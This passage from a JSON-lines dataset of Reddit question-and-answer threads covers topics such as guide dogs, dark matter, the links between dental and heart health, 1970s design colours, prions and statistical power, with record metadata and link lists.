for GIFTB for awhile check my post history. They have no clue what the owner wants all they know is what they are trained to do and thats to keep the human safe and out of trouble. A guide dog is trained from day one to please humans and thats all they want to do. I worked with dogs age 6-12 weeks in the early socialization program. These dogs at say age 10 weeks are more well trained that you average house dog will ever be, some might argue they are the best trained dogs in the world. They also donate dogs for police use.", "I used to work with a blind man named Kelvin who had a guide dog. One day, I was in a crowded football stadium and felt something cold touch the back of my leg. I turned around and it was Kelvin. He was lost and the dog recognized me in the crowd, brought him to me and got my attention by touching his nose to my leg. I was amazed! \n\nI took him where he needed to go. ", "There's a good podcast on Stuff you Should Know, that is all about guide dogs.  I don't recall if they answer this specifically, but those guys are awesome.  Seriously, everyone should listen to them"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], [], [], ["https://www.guidedogs.org.uk/microsites/guide-dogs-in-school/puppy-resources/how-can-a-guide-dog-change-a-life/how-are-guide-dogs-trained/", "http://www.guidedogs.org.uk/microsites/sponsor-a-puppy/about-sponsor-a-puppy/puppy-training/#.V0cIyxMrLC0", "http://www.guidedogs.com/site/PageServer?pagename=programs_dog_guide"], [], [], [], [], [], [], [], [], []]}
{"q_id": "3s1b8m", "title": "Why is there so much French in modern Farsi?", "selftext": "Farsi is my second language and it's always surprising to find out a word here or there that I've been using has been French all along.\n\nI know colonialism has to do with it, but France never really had a military presence in Iran like England did so I'm curious how did the French language start influencing Farsi and why French over all others?", "document": "", "subreddit": "AskHistorians", "url": "https://www.reddit.com/r/AskHistorians/comments/3s1b8m/why_is_there_so_much_french_in_modern_farsi/", "answers": {"a_id": ["cwt5bo3"], "score": [2], "text": ["Colonialsm doesn't have anything to do wth it actualy: Its not very complicated but for a while French was the \"international language\" not English. And also French became popular with Nasseriddin Shah's visit to France.the French also established  couple of French language missionay schools there \n\n"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[]]}
{"q_id": "2zjtqf", "title": "Dark matter is thought to not interact with the electromagnetic force, could there be a force that does not interact with regular matter?", "selftext": "Also, could dark matter have different interactions with the strong and weak force?", "document": "", "subreddit": "askscience", "url": "http://www.reddit.com/r/askscience/comments/2zjtqf/dark_matter_is_thought_to_not_interact_with_the/", "answers": {"a_id": ["cpjkeza", "cpjp3q1", "cpjsdam", "cpjuo7r", "cpk0e78", "cpk3k8f"], "score": [947, 130, 5, 123, 50, 6], "text": ["Dark matter cannot interact via the strong force or the electromagnetic force.  It may or may not interact with the weak force, although many models have it doing so.\n\nYes, there could be additional forces that ordinary matter does not feel.  In fact, we already have examples of something like that, in that electrons do not feel the strong force.", "In principle, there could be an entire second \"standard model,\" containing all sorts of particles and forces that are totally disjoint from the ones in the standard model we know. They only way we could detect their presence would be gravitationally. Or perhaps there could be interactions between the two models, but only at a very, very high energy, so that at low energies they are effectively decoupled. \n\nI'm currently a physics grad student, and I once was talking with one of the experimentalists who's looking for dark matter in the form of WIMPs (weakly inetracting massive particles). I asked him about this \"disjoint standard model,\" and whether it could account for dark matter, and his answer was basically, \"Well, it certainly could be true, but it sure would suck for our efforts to detect it experimentally.\" ", "If by this you mean does not interact with any form of matter, tgen it begs tge question: is it really a force since it does not force anything?  There could be millions of forces that do not interact with matter and we would never know that they existed because:\n\na) they interact with nothing\n\nb) as a consequence of a) they do not effect us or matter in any way and their existence is inconsequential to the point that they might as well not even be considered to exist", "Gravity is damned close. Normal matter BARELY interacts via gravity. The only reason we perceive it as being so powerful is the magnitude at which matter gathers locally (i.e. the Earth).\n\nCompare the effects of gravity and electromagnetism on a simple nail... you can overcome ALL of the gravity of ALL of the matter in the ENTIRE Earth with a magnet the size of a Tic-Tac.", "Keep in mind, Dark Matter is a tool we use to explain why our observations don't match our otherwise expected results. We have never directly observed dark matter. We can't know for sure exactly what properties it has. We know what properties it doesn't have because if it had them, we would have observed them already.\n\nHowever, for dark matter to \"work\" (to solve the problem it was thought up to solve) it would have to be \"non-self interacting.\" I'll try to explain why.\n\nLet me start by explaining why we think dark matter exists. We started looking at galaxies a few decades ago. We calculated that a galaxy's brightness could tell us about how much mass was in there. We know from our solar system that 99% of the mass of the system is in the sun. We know how bright stars of different masses are, so we used that to figure out how massive a galaxy should be. On galaxies we can see well, we actually know how matter is distributed from the center moving out. \n\nWe also know that light gets Doppler Shifted when stars are moving toward us or away from us. So in a spinning galaxy you have one side moving away from earth and another side moving toward us. Since we can find they Hydrogen Emission Spectrum in the light from these stars, we can tell how fast they're moving by how far the emission spectrum has shifted. Again, we can see how fast stars are moving from the center moving out.\n\nSo scientists took these two pieces of information: We can calculate the mass of a galaxy based on how much light it emits. From that we can calculate how fast it should rotate using updated versions of Kepler's Laws for orbits. Then we checked that number vs what we measured for how fast the galaxy is actually rotating and we found that these [two numbers are different!](_URL_2_) Stars near the edge of galaxies are moving much faster than we predicted they would based on their mass (brightness).\n\nOne solution to this problem was Dark Matter: what if there is mass we can't see? It would have to be gravitationally attracted to the galaxy to make an impact on how the galaxy spins. To actually solve the problem though, this Dark Matter would have to form a [cloud shape, a halo,](_URL_0_) around the disk of the galaxy. If it forms a halo, then that means it can't be the standard matter we see every day. \n\nIf you have a big swirling cloud of regular matter, tiny particles rotating around a central axis, eventually those tiny particles start colliding and bumping into one another. Some times they stick together from electromagnetic forces, other times they bounce off and scatter. If you wait long enough a system like this will form a disk. This is because of the Conservation of Angular Momentum. At first every particle in the cloud has it's own random angular momentum. The cloud as a whole has angular momentum equal to the average angular momentum of all the particles in it. Particles swirling in the \"wrong\" direction run into particles going the \"right\" way, slow particles get bumped by faster ones. Over time the angular momentum of each particle gets closer and closer to the average angular momentum of the whole cloud. Let me know if that makes sense.\n\nSo this is why people say dark matter isn't effected by Electromagnetic forces. If it was, then dark matter particles would average their angular momentum over time to form a disk. But if it formed a disk, it wouldn't explain the observations we make about galaxies. Also it would effect our observations about electromagnetic interactions here on Earth, but we haven't observed that.\n\nDark matter is still part of the frontier of physics. We should talk about it carefully, because it may be different than we describe it today, or it may not exist at all. It is just the most popular way to explain a set of discrepancies. Dark Matter still has problems, and there are [other](_URL_1_) (less popular) ways to explain the discrepancies without inventing a new kind of matter, never before seen. Those still have problems too. \n\nI worry that people talk about Dark Matter today with the same certainty scientists discussed Ether in the 1800's. Just remember that its not on the same stable footing as Relativity or Quantum Mechanics. There are still a lot of questions to answer.", "It's pretty tempting to consider the possibility of dark photons, i.e. long range gauge interactions of dark matter, see for example this [blog post](_URL_1_)/[paper](_URL_0_). However while possible in principle, that paper claims a pretty tiny upper limit on the coupling constant for such a force at about 10^(-4), so the possibility is pretty strongly constrained by experiment. But like many statements about dark matter, this is partly predicated on the assumption that DM is made up of a single particle of a particular mass range, so if that is incorrect the limit would almost certainly be much weaker.\n\nOn the other hand, a dark matter analog of the weak force (short range due to Higgs mechanism/massive force carriers) or strong force (short range due to confinement) should be much less constrained by what we know, since these possibilities wouldn't lead to long-range effects. This possibility seems downright natural. You could almost argue it would be strange if there wasn't such a force acting on them."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], [], [], ["http://en.wikipedia.org/wiki/Dark_matter_halo", "http://en.wikipedia.org/wiki/Dark_matter#Alternative_theories", "http://en.wikipedia.org/wiki/Galaxy_rotation_curve"], ["http://arxiv.org/abs/0810.5126", "http://www.preposterousuniverse.com/blog/2008/10/29/dark-photons/"]]}
{"q_id": "9rrmjx", "title": "how is dental health so vlosely related to heart health?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/9rrmjx/eli5_how_is_dental_health_so_vlosely_related_to/", "answers": {"a_id": ["e8j6ml0", "e8j6y7j", "e8j6zc3", "e8ja8tw", "e8jivbt", "e8l1yl4"], "score": [9, 3, 3, 5, 2, 2], "text": ["I just skimmed a few articles but it looks like the gum  disease and other oral diseases that come about from lack of hygiene lead to higher numbers of bacteria that cause swelling. These bacteria start in your gums but can spread to the rest of your body through your bloodstream causing swelling and inflammation throughout your vascular system thus heart disease.", "Bacteria from your teeth get in your bloodstream and are pumped to your heart, where they can lead to infection of your heart. It\u2019s ok for most people because their immune system can handle it. But for immunocompromized people, they might need to take antibiotics prophylactically when they get their teeth cleaned. Friends of mine with type 1 diabetes have to take antibiotics, even. ", "Not an expert, but I think it's because when you have bad oral health, the gums can become like open wounds. Open wounds are direct pathways into the bloodstream. When bacteria and other stuff get into the bloodstream, they cause artery damage. The inside of your mouth is exposed to a ton of contaminants and bacteria, especially in people who don't practice good oral hygiene. So people with bad oral health have more open sores, have them more frequently, and have more bacteria to allow into those sores.", "A lot of these answers mention bloodstream infection, which is bad, but not really the answer to your question. It turns out that the muscles and organs in the neck are divided by tough layers into compartments. One compartment in the neck happens to also connect to the jaw at the top and into the part of the chest where the heart is at the bottom. If untreated, an infection in a tooth can spread into this neck compartment, into the chest, and infect the heart. ", "Also, inflammation in your gums can trigger an inflammatory response in the rest of your body which can cause problems all over. ", "1. Bacteria found in your mouth can enter your bloodstream, make its way to your heart muscle, and cause what we call infective endocarditis.\n\n2. If you get an infection of a part if your throat called the retropharyngeal space, it can push backwards, and if it breaks through the tissue behind it, can enter what we call the danger space, which is named as such because it's basically a direct pathway down into your mediastinum (space where your heart and some other organs lie). But this isn't really influenced by dental health per se. \n\n3. Having no teeth results in changes happening in your mouth, one of which is your tongue growing larger (don't know why). This large tongue can cause airway obstruction when you sleep, a condition called obstructive sleep apnea, and that is strongly associated with heart disease.\n\nSource: Medical student"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], [], [], [], []]}
{"q_id": "46isdq", "title": "Other than ethics and the geneva convention, are there an reasons why fire weapons such as napalm and flame throwers were phased out of warfare?", "selftext": "", "document": "", "subreddit": "AskHistorians", "url": "https://www.reddit.com/r/AskHistorians/comments/46isdq/other_than_ethics_and_the_geneva_convention_are/", "answers": {"a_id": ["d05ykb0"], "score": [6], "text": ["The Geneva Convntions do not prohibit the use of incendiary weapons. There are some minor restrictions, such as dropping incendiary bombs over urban areas, but that's it.\n\nThe reason that such weapons have generally dropped out of favour is that technology has progressed, and we have found more effective ways of doing the job. The napalm bomb has been replaced by the thermobaric bomb, and flamethrowers, being bulky, dangerous, short-ranged pieces of equipment, have been replaced by anything from precision bomb drops through man-portable missiles. Some missiles and unguided systems like Panzerfaust 3 have very good thermobaric and explosive rounds as well, and they are much better than flamethrowers for the same job."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[]]}
{"q_id": "7czlqp", "title": "Why were such awful colors popular in the U.S. in the 1970s?", "selftext": "Pea green, burnt orange, 50 shades of brown. What drove the popularity of such awful hues in interior design and clothing?", "document": "", "subreddit": "AskHistorians", "url": "https://www.reddit.com/r/AskHistorians/comments/7czlqp/why_were_such_awful_colors_popular_in_the_us_in/", "answers": {"a_id": ["dqws82d", "dpu9ilq", "dpufwc2", "dpumywe"], "score": [2, 101, 2239, 281], "text": ["For anyone as infatuated with this era and design as me, you may like to check out my Flickr account. _URL_0_", "Hey all,\n\nIf you frequent the sub, you know the drill. If you're here from /r/all, or browse only occasionally, please be aware we have strict rules here intended to enforce the very high bar we expect from comments, so before posting, please read our [rules](/r/AskHistorians/wiki/rules). We remove comments which don't comply, and consider everyone forewarned. If you have feedback or commentary about how things are run here, please don't post it in this thread. We'll just remove it. We love to hear thoughtful, constructive feedback via [modmail](_URL_5_) however.\n\nIt can take time for [an answer to show up](/r/AskHistorians/comments/6a5duv/a_statistical_analysis_of_10000_raskhistorians/), so we thank you for your patience. We know you're here because the question sounds interesting, and we eagerly await an answer just like you! While you wait though, there is tons of great content already written, which you can find through our [Twitter](_URL_4_), the [Sunday Digest](_URL_3_), the [Monthly \"Best Of\"](_URL_2_) feature, and [Facebook](_URL_6_). If you don't want to forget to check back late, consider a [Private Message](_URL_1_!) to the [Remind-Me bot](_URL_0_), or use RES' 'Subscription' feature.\n\nAgain though, please remember the rules, and keep them in mind while you browse. If you don't like how this subreddit is run, keep in mind that this method has seen us continue to succeed and grow for years, and isn't going to change, so at least try and make your complaint original. /r/AskHistory exists, so complaining about the rules to us is like going into a fancy restaurant to complain they don't sell chicken nuggets, even though Chick-fil-A is nextdoor.", "Not sure if this is properly sourced or not - but I am not aware of a ton of in depth books by historians on the color choices of the decade. Most of this is based on a book called \"70s Style and Design\" by Lutyens and Hislop, and \"70s House\" by Heathcote. \n\nI am also going to come at this from a interior design/architecture perspective.\n\nThe first thing to understand is that the 70s design choices did not appear out of nowhere. They were largely a reaction to the sleek and minimal midcentury modernism of before. According to Lutyens, the 70s are defined by \"playful embellishment and radical experimentalism with form.\" You can see this in many of the more famous designs from the decade - like Saarinen's work. It was also a reaction to the \"psychedelic\" and unnatural design and colors. Another interesting way to look at it, would to follow the philosophies of groups like Archigram, which went from creating big brash stark and modern structures, to favoring ideas with more subtle ways to integrate into the environment.\n\nSecondly, there was a return to nature movement that grew out of the \"hippies\" of the 60s as well. Lutyens also cites the oil crisis of 1973 as encouraging design that rejected consumerism, and embraced early energy efficient design. It also led to a design philosphy that focused on creating architecture that melded with nature. Mixed with plastics were natural materials of stone and wood. You see a lot of large windows, skylights, interior gardens etc.\n\nOn top of this, we have the popularization of the open floor plan. While you can find earlier examples, the 70s is when it arrived to the masses. And it was a radical departure  from earlier residential design layout and philosophy. Bigger kitchens, more shared family space, double height rooms etc. \n\nSo the color choices are one way this all came together. Color in general was very popular, and used everywhere - vs. the 'white' minimalism of before. And colors found in nature were especially popular, with the rise in the part-of-nature philosophy of design at the time. And lastly - the residential design approach became mainstream. So it was EVERYWHERE. This is pure speculation on my part, but decorators (and homeowners) can overdo themes and trends. So while some terracotta tile by itself could be seen as natural and design friendly, the tile next to some plants, dark wood paneled walls and burnt orange carpet is overwhelming. Hence why designers joke that the 70s is the decade design forgot.", "Finnish graphic designer and design student chiming in. Interior design isn't my specialty, but I will try to elaborate what trends, societal happenings  &  phenomena might have lead to the ugly palette of 70s, or the perception of.  I have to note that the following text will be based on material I've studied, but because of art's subjective nature in order to paint a full picture I will not refrain from making some subjective statements, but majority of the text should be widely accepted history. The red line of the writing is about public perception.\n\nIn order to understand why some colors or any design decisions are popular, I think it's fundamental to lay down some groundwork about the nature of *fashion*. I base alot of my thinking to writings of Herbert Blumer, american sociologist and a pedantic observer  &  writer, who well in his sixties attended women's fashion week in Paris and theorised [extensively about fashion's role in society and collective selection](_URL_8_). He considered fashion to be kind of a coping mechanism that lets us move forward as society, using collective taste to reach and grope for what's ahead. To paraphrase him \"In order to understand fashion, one must understand what it means to be *in fashion*\", with which I believe he tries to underline how integral collective acceptance and forward thinking are as mechanics of fashion. The collective taste takes inspiration very freely from cultural events and societal happenings that touch the lives of us all, and the creation of furniture/clothes by designers and following acceptance (or lackthereof) by consumers is the dialogue that is the core of fashion. When something is in fashion, it is part of the *zeitgeist*.\n\nPart of fashion is also decade-, or sometimes several, spanning movements and lines of thinking. Before we can dive into what was in fashion during the 70s, I think it's good to look what preceded it because the movements are often reactionary and built upon what was before. From the ashes and abject suffering of WWII the time that followed is what I like to call *back on track*. It was a time of rebuilding homes and finding comfort in familiarity, and in art the further refinement of modernism. If you look at the prevailing color schemes of midcentury modern, you will find muted and warm tones that convey a message of friendliness and conventionality. Form was as important as function, and there was underlying feeling of democracy in design. Nordic design became influential which can partly be attributed to the Helsinki Olympics of '52, which brought on the wind of lifting yourself back up as Finland was the only country to fully repay war reparations, and did so without the need of Marshall Aid. The cold war tensions were at their highest and perhaps this added to the fascination of the country that resided between the east and the west. So in spite of the ease of mind being brought on upon by the end of the war, the tensions of McCarthyism and Iron Curtain added to the mix a dose of conservatism. It was time to move on, but not move ahead.\n\nSome select works of the period:\n\n[**Arne Jacobsen - Grand Prix ('57)**](_URL_10_) \nFuturistic shape speaks of trust in technology yet wood as material choice speaks of familiarity and homeliness.\n\n[**Eero Saarinen - Tulip Chair \\('56\\)**](_URL_5_)\nA modern classic of industrial design, the shape is space age but the inspiration is a classical and familiar plant of love!\n\n[**Pierre Koenig - Stahl House('60)**](_URL_0_)\nClearly set grid of lines come together to form modernist home of exclusivity, which is brought on by the location, but the unimposingly low roof adds to the comfort.\n\n[**Helsinki Olympics '52 logo**](_URL_7_)\nColors representing the country and setpiece architectural structure on background, that was originally built for 1940 olympics combine into pretty tame modernist look.\n\nA paradigm shift happens when a event is so massive it touches us all, and thus I would set starting time for the period following *back on track* to be in '61 when Juri Gagarin became the first man in space. The space race launched an era of radicalism as battle between communism and capitalism accelerated. In many other aspects Europe and it's post-war traumas weren't on top of people's minds anymore. What happened elsewere was far more mindshaking. Request for racial equity in the USA and Vietnam War radicalized the atmosphere also in Europe. This was the era of protest cultures and international awareness. New left, rising awareness, hippie movement and finally oil crisis led to criticism of consumption.\n\nHow this radical era had a flame that burned brightest at the start of 60s, but continued to do so up until late of 70s until it was superceded by the yuppie 80s. Between these years is the rise and eventual decline of psychedelic hippie era, that was so utopistic and radical that it also evoked a very strong pro-government counter-movement. It's start is characterised and inspired alot by the already existing space age design that continued to evolve and was brought into people's homes as everyday objects, such as [Lava lamp \\(1963\\)](_URL_9_). It's a every home's design object that speaks for the positive outlook that was so prevalent that it was mainstream in early sixties. The vibrancy of colors speak for liveliness and optimism.\n\n[**Eero Aarnio - Ball Chair \\('63\\)**](_URL_3_)\nCompare this and the Tulip Chair above. Both are modern, but the ball chair is just otherworldly. It also came in transparent design that hung from a chain from roof. It's wild, unconventional and futuristic.\n\n[**Gaetano Pesce - Serie Up ('69)**](_URL_6_)\nSpeaking of radical designs, I think it's pretty safe to say that both sexual liberation and women's rights were topics that design commented upon. Remember that in modern capitalist society it is not just designer who makes an impactful design, but it also has to resonate within the consumers, be adopted by them.\n\n[**Mexico Olympics '68 logo \\(poster\\)**](_URL_4_)\nTypically people refer to Woodstock as the plateau of hippie age, but I think Mexico's olympics are in many ways more impactful and symbolic of the upheavals on the time. [The black power salute](_URL_2_), south-Africa lack of attendance due apartheid protests, Tlatelolco massacre, Vera C\u00e1slavsk\u00e1's anti-soviet protest, this one had it all. And that crazy design, it's so hypnotic you can't turn your gaze away, it seems to be undulating with restless energy!\n\nRemember that part in the start about fashion? Thing about fashion is that it [ebbs and flows, peaks and recedes](_URL_1_). The society had a wild night behind them, filled with partying and fighting, singing and yelling, fucking and punching. But now it was time to calm down. Alas, the mainstream is slow to react, so late-adapters still considered for a longer time that hippie movement was still in fashion. It was a movement that was meant to provoke with bright colors, while the brown tones represented the earth, but it all became pass\u00e9 when it was adopted by moms and dads. It was all very experimental what started in the early 60s, it came out of nowhere, and it wanted to stomp its foot down, make some noise and punch the government in face. But the trajectory of fashion object is always to be first adopted by visionaries, gain the momentum of widespread youth appeal, refine it into full blown young adult trend and eventually fade into the obscurity of anonymous masses.\n\nSo as society moved towards '70s the public mentality was marked by need to process what just happened, deal with morningafteresque confusion of high flying ideals and just calm down a bit. I think it's the awkward juxtaposition of this radical experimentalism and it's inevitable mainstream status that makes it seem so odd and at unease with itself. Part of what makes a particular ideal or fashion appealing is it's elusivity and mystique, so because of this appreciation of intangibility hippie movement was born as a ideological response to a world that was moving on but had severe traumas to deal with. This way of thinking slowly made its way to societal existance as normatisation of progressive movements, ie. 2nd wave feminism and black power, that had an impact until conversation shifted to something else. Commodification however continues and though Woodstock once was the gathering of forward thinking or dreaming young people, people began questioning it's topicality when middle aged fashion designers began designing clothes for teenagers who wanted to be like people in their twenties who had been in those yesteryears' festivals. At the end of the road all that's left of once vibrant movement is some gaudy tapestry and carpetry in the living room of middle class apartment where a happy but bored couple is talking about quitting smoking while ABBA's Money Money Money is playing on the stereo with wood panel finish."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["https://www.flickr.com/photos/sixtyseventies/favorites"], ["https://www.reddit.com/r/RemindMeBot/comments/24duzp/remindmebot_info/", "https://www.reddit.com/message/compose/?to=RemindMeBot&amp;subject=Reminder&amp;message=%5BLINK%20INSIDE%20SQUARE%20BRACKETS%20else%20default%20to%20FAQs%5D%0A%0ANOTE:%20Don%27t%20forget%20to%20add%20the%20time%20options%20after%20the%20command.%0A%0ARemindMe", "https://www.reddit.com/r/AskHistorians/wiki/bestof", "http://www.reddit.com/r/AskHistorians/search?q=title%3A%22Sunday+Digest%22&amp;restrict_sr=on&amp;sort=new&amp;t=all", "http://twitter.com/askhistorians", "http://www.reddit.com/message/compose?to=%2Fr%2FAskHistorians&amp;subject=Question%20Regarding%20Rules", "https://www.facebook.com/askhistorians/"], [], ["https://media-cdn.tripadvisor.com/media/photo-s/04/be/f3/d8/stahl-house.jpg", "http://factore.ca/system/images/images/345/original/Graph_1.jpg", "https://upload.wikimedia.org/wikipedia/commons/3/3e/John_Carlos%2C_Tommie_Smith%2C_Peter_Norman_1968cr.jpg", "https://upload.wikimedia.org/wikipedia/commons/thumb/9/98/Ngv_design%2C_eero_aarnio%2C_globe_chair_1963-65_01.JPG/800px-Ngv_design%2C_eero_aarnio%2C_globe_chair_1963-65_01.JPG", "http://graphicambient.com/wp-content/uploads/2012/07/mexico-68-olympics-logo.jpg", "https://upload.wikimedia.org/wikipedia/en/e/e7/Tulip_med.jpg", "https://www.bebitalia.com/sites/default/files/styles/original/public/products/gallery/375--01-BEB_ITALIA-UP_JUNIOR-01.jpg", "https://i.pinimg.com/originals/51/33/25/5133250bea6b7c254c43aec167212c13.jpg", "http://onlinelibrary.wiley.com/doi/10.1111/j.1533-8525.1969.tb01292.x/abstract", "https://upload.wikimedia.org/wikipedia/commons/f/f2/1990s_Mathmos_Astro.jpg", "https://img.vntg.com/large/14728277705953/pair-of-grand-prix-dinner-chairs-by-arne-jacobsen-for-fritz-hansen-1950s.jpg"]]}
{"q_id": "1l1vkb", "title": "the concept of reductionism in philosophy, please", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "http://www.reddit.com/r/explainlikeimfive/comments/1l1vkb/eli5_the_concept_of_reductionism_in_philosophy/", "answers": {"a_id": ["cbuxt7r", "cbv3gqn"], "score": [3, 2], "text": ["The idea that a complex system can be broken down and explained completely as the sum of its physical parts.\n\nA key example is the brain - reductionism states that human consciousness, all our thoughts and memories can be explained by the interactions between brain cells. Even if we don't completely understand how it works right now, it can be understood by learning what each individual brain cell does, and how they connect into larger structures, what those do, how they connect into brain regions, and so on, until you understand the whole brain. Reductionism is basically stating \"that's all there is to it\", making the claim that it isn't necessary to invoke a supernatural \"soul\" or consciousness as an elemental phenomenon.", "It is also used to criticize certain kinds of arguments.\n\nWhen you break something does into smaller pieces, you can make it sound ridiculous or inane because you lose sight of the whole.\n\nIf I use \"sitting on a small uncomfortable bench on wheels that moves around\" to describe a roller coaster ride, it sounds pretty pointless.  You might counter that I am merely being reductionist, and not offering any useful reasoning that a roller coaster ride is pointless."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], []]}
{"q_id": "5xeyoz", "title": "why can we eat almost any part of most living things without incident, but eating some brains and cows with mad cow disease are dangerous to us?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/5xeyoz/eli5_why_can_we_eat_almost_any_part_of_most/", "answers": {"a_id": ["dehkstt", "dehm0gl"], "score": [22, 3], "text": ["This is because of prions, which are infectious misfolded proteins. They exist only in the brain and are transmitted when someone/thing eats infected brain matter. The prions cause the host's proteins to misfold, causing cell death. This creates the characteristic spongy brain associated with prion diseases like Kuru and Mad Cow. In short, don't eat brains.", "Here's a great article on one of the more interesting variations of prion disease - _URL_0_"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], ["http://www.npr.org/sections/thesalt/2016/09/06/482952588/when-people-ate-people-a-strange-disease-emerged"]]}
{"q_id": "qs403", "title": "softcore porn", "selftext": "What's the deal with soft porn? Do they have real intercourse or fake? \nIf there's a market, do they ever shoot softcore angles while shooting real (hardcore) porn?", "document": "", "subreddit": "explainlikeimfive", "url": "http://www.reddit.com/r/explainlikeimfive/comments/qs403/eli5_softcore_porn/", "answers": {"a_id": ["c400h6y", "c400j7o"], "score": [4, 12], "text": ["[In this thread (NSFW or 5 year olds)](_URL_0_), a director claims that of his 1,000 soft core scenes, only one had actual sex.\n\nBut there is also such a thing as a simultaneously shot hard core/soft core movie, with good editing and the participants judiciously hiding body parts during the period the director tells them it is softcore.", "Softcore porn doesn't show penetration.  Some softcore is hardcore with the penetration edited out, most current softcore is produced with out penetration at all.  The reason for softcore is so that it can be sold to hotels or shown late night on cable.  There's no difference in plot or story, it's done because some markets won't show penetration.\n\nLY5: It's when they don't show the peepee going into the who-ha because Hilton and Cinemax don't want you to know where babies come from."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["http://forum.adultdvdtalk.com/softcore-is-it-always-fake"], []]}
{"q_id": "litet", "title": "'power' as related to probability and statistical analysis", "selftext": "This is embarrassing because I have a masters in public policy focusing in statistical analysis techniques but this is a concept we only brushed over in the first intro class with an awful professor (he was teaching concepts that were \"below him.\")", "document": "", "subreddit": "explainlikeimfive", "url": "http://www.reddit.com/r/explainlikeimfive/comments/litet/eli5_power_as_related_to_probability_and/", "answers": {"a_id": ["c2t1bod", "c2t2ehn", "c2t37e9", "c2t1bod", "c2t2ehn", "c2t37e9"], "score": [2, 5, 6, 2, 5, 6], "text": ["The higher the power, the greater the probability of coming to a correct result in your analysis. The maximum value of power is 1. You should review and understand the idea of the null hypothesis before asking this question. If you are able to fully understand the null hypothesis you will understand the concept of power.", "When you perform a statistical test, you set up what's called a null hypothesis (\"H0\"). For purposes of the test, you're assuming H0 is true to begin with, then you get some data and do some calculations with it and you get what's called a statistic (call it \"X\"). On the basis of X, you decide whether or not to revise your assumption about H0 being true: if X is in a particular range, you will switch your assumption to H0 being false, otherwise you leave it as is.\n\nThe problem is, the statistic you get often isn't a perfect indicator of whether or not H0 is *actually* true or false. Sometimes H0 might be true, but because of randomness, X ends up being such that you reject H0 (a true H0 is rejected). Other times, H0 might be false, but X ends up being such that you don't accept H0 (a false H0 is accepted).\n\n\"Power\" refers to this second type of problem. Specifically, the power of a test refers to the probability that, if H0 is actually false, your statistic will lead you to conclude that H0 is false. If your power is high (close to 1), you can be fairly confident that you won't accidentally accept a false H0. So a high degree of power is good.\n\nTo give an example, suppose you're wondering whether some salami you have is mild or spicy. Say H0 is that the salami is mild: for the purposes of the test, you're assuming in advance that it's mild. One possible way to test H0 is to smell the salami, and reject H0 if you smell spice.\n\nSuppose H0 is false, i.e. the salami is actually spicy. When you take a whiff, maybe you'll smell that spice, but maybe because of a stuffy nose, poor olfactory senses, or a gust of wind you won't smell it. So there's some chance that, even if the salami is spicy, you'll still conclude that it's mild. So the power of the smell test against H0 is something less than 1.\n\nA different test of the same H0 is the taste test: take a bite, and reject H0 if you taste spice. If H0 is false (the salami is spicy), you're probably going to taste that spice. So the power of the taste test is probably pretty close to 1.\n\nA related concept is the \"size\" of the test. This is the probability of the other type of error, i.e. the probability that, if H0 is *true*, you still reject it. If the size is low (close to 0), you're unlikely to make this mistake; if it's high, you are. So a low size is good (the \"high power is good, low size is good\" thing can be a source of confusion, so watch out).\n\nIn the salami example, even though the power of the smell test may not be that high, the size of the smell test is probably quite low: if H0 is true (the salami is actually mild), it's pretty unlikely that you'll smell any spice, so you're unlikely to reject H0. The taste test, on the other hand, is pretty definitive in both cases, so it also has a low size.\n\nSo to sum up: Power is the probability of correctly rejecting a false null hypothesis. Size is the probability of incorrectly rejecting a true null hypothesis. The salami smell test has good size, but not so great power. The salami taste test has good size *and* good power.", "Here it is, explained like you're ten:\n\nLet's say you want to do an experiment to see if boys are smarter than girls. There are two ways an experiment can go wrong.\n\nThe first would be if you conclude that boys are smarter than girls, but in reality they aren't. This is called a false positive.\n\nThe second would be if you conclude that boys aren't smarter than girls, but in reality they are. This is called a false negative.\n\nPower is how sure you are that you're not going to get a false negative. Since it's a probability, \"0\" means you're guaranteed to get a false negative (that's bad). \"1\" means that there's no way you're going to get a false negative (that's good, but it isn't really possible). Usually, power is somewhere around .95 or 95%", "The higher the power, the greater the probability of coming to a correct result in your analysis. The maximum value of power is 1. You should review and understand the idea of the null hypothesis before asking this question. If you are able to fully understand the null hypothesis you will understand the concept of power.", "When you perform a statistical test, you set up what's called a null hypothesis (\"H0\"). For purposes of the test, you're assuming H0 is true to begin with, then you get some data and do some calculations with it and you get what's called a statistic (call it \"X\"). On the basis of X, you decide whether or not to revise your assumption about H0 being true: if X is in a particular range, you will switch your assumption to H0 being false, otherwise you leave it as is.\n\nThe problem is, the statistic you get often isn't a perfect indicator of whether or not H0 is *actually* true or false. Sometimes H0 might be true, but because of randomness, X ends up being such that you reject H0 (a true H0 is rejected). Other times, H0 might be false, but X ends up being such that you don't accept H0 (a false H0 is accepted).\n\n\"Power\" refers to this second type of problem. Specifically, the power of a test refers to the probability that, if H0 is actually false, your statistic will lead you to conclude that H0 is false. If your power is high (close to 1), you can be fairly confident that you won't accidentally accept a false H0. So a high degree of power is good.\n\nTo give an example, suppose you're wondering whether some salami you have is mild or spicy. Say H0 is that the salami is mild: for the purposes of the test, you're assuming in advance that it's mild. One possible way to test H0 is to smell the salami, and reject H0 if you smell spice.\n\nSuppose H0 is false, i.e. the salami is actually spicy. When you take a whiff, maybe you'll smell that spice, but maybe because of a stuffy nose, poor olfactory senses, or a gust of wind you won't smell it. So there's some chance that, even if the salami is spicy, you'll still conclude that it's mild. So the power of the smell test against H0 is something less than 1.\n\nA different test of the same H0 is the taste test: take a bite, and reject H0 if you taste spice. If H0 is false (the salami is spicy), you're probably going to taste that spice. So the power of the taste test is probably pretty close to 1.\n\nA related concept is the \"size\" of the test. This is the probability of the other type of error, i.e. the probability that, if H0 is *true*, you still reject it. If the size is low (close to 0), you're unlikely to make this mistake; if it's high, you are. So a low size is good (the \"high power is good, low size is good\" thing can be a source of confusion, so watch out).\n\nIn the salami example, even though the power of the smell test may not be that high, the size of the smell test is probably quite low: if H0 is 